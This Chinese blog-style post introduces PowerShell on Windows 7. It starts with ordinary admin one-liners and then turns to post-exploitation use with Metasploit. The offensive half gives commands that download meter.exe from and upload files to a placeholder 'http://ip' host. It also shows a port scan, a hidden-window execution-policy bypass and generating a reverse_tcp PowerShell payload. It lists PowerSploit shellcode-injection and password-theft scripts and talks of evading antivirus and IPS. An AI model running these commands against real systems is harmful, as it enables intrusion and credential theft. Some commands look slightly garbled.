大家都在说windows7的防护水平大大高于windows xp了，但是并不都是如此，Win7下给出现了一个强大高级cmd————>powershell。该shell最大的特点就是支持脚本编程，酷似linux的bash（准确说应该是各种sh），下面就简要介绍下它的功能，以及如何与metasploit配合(今年北美著名的安全会议给出的，这个会议是美国国防部下属的DARPA资助的，内容非常好，建议大家关注)：
基本命令
开始–>运行–>powershell 开启powershell界面
get-command *-service 获得服务相关的命令
get-help get service 获得命令的帮助
支持脚本文件的命令集 脚本的后缀名为.PS1,支持管道：
powershell使用示例：
停止所有目前运行中的以”p”字符开头命名的程序：
PS> get-process p* | stop-process
停止所有目前运行中的所有使用大于1000MB存储器的程序：
PS> get-process | where { $_.WS -gt 1000MB } | stop-process
计算一个目录下文件内的字节大小：
PS> get-childitem | measure-object -property length -sum
等待一个叫做”notepad”的程序运行退出：
PS> $processToWatch = get-process notepad
PS> $processToWatch.WaitForExit()
将”hello, world!”字符串转为英文大写字符，成为”HELLO, WORLD!”：
PS> “hello, world!”.ToUpper()
在字符串”string”的第1个字符后插入字符串”ABC”，成为”sABCtring”：
PS> “string”.Insert(1, “ABC”)
订阅一个指定的RSS Feed并显示它最近8个主题：
PS> $rssUrl = “http://blogs.msdn.com/powershell/rss.aspx”
PS> $blog = xml.DownloadString($rssUrl)
PS> $blog.rss.channel.item | select title -first 8
使用powershell执行shellcode
使用dns payloads的方式通过powershell执行meterpreter，达到免杀、过IPS的效果
使用powershell进行文件的上传、下载和端口扫描
下载
ps>Import-Module BitsTransfer
ps>Start-BitsTransfer http://ip/meter.exe c:\meter.exe
上传
Start-BitsTransfer -Source c:\upload.txt -Destination http://ip/upload/upload.txt -transfertype upload
端口扫描
ps c:>1..1024 | %{ echo ((new-object Net.Sockets.TcpClient).Connect(“10.1.1.14”,$)) “$ is open”} 2>$null
25 is open
powersploit 堪比meterpreter的后渗透攻击框架
Carlos Perez国外大牛设计了基于powersploit的渗透脚本集合，用于授权渗透测试使用。。。。（大家都知道怎么回事），里面的主要包含了一下几个脚本
Inject-Dll(注入dll到指定进程)
Inject-Shellcode（注入shellcode到执行进程）
Encrypt- Script（文本或脚本加密）
Get-GPPPassword（通过groups.xml获取明文密码）
Invoke- ReverseDnsLookup（扫描 DNS PTR记录）
* Powershell hashdump（in SET）
* Powershell exec method in MSSQL_Payload * PowerSploit(上面提到了)
绕过powershell本身的权限限制：
-powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive —NoProfile -WindowStyle Hidden —File “C:\do_neat_ps_shit.ps1”
使用Metasploit生成Powershell
msf_ payload(reverse_tcp) > generate -t psh -f powershellexec.ps1
使用批处理文件从Meterpreter中运行Powershell
c:\type run_ps.bat powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -File C:\ipinfo2.ps1
示例：
meterpreter > execute -H -f cmd.exe -a ‘/c C:\runps.bat’ Process 28536 created. meterpreter>
–snip–
总结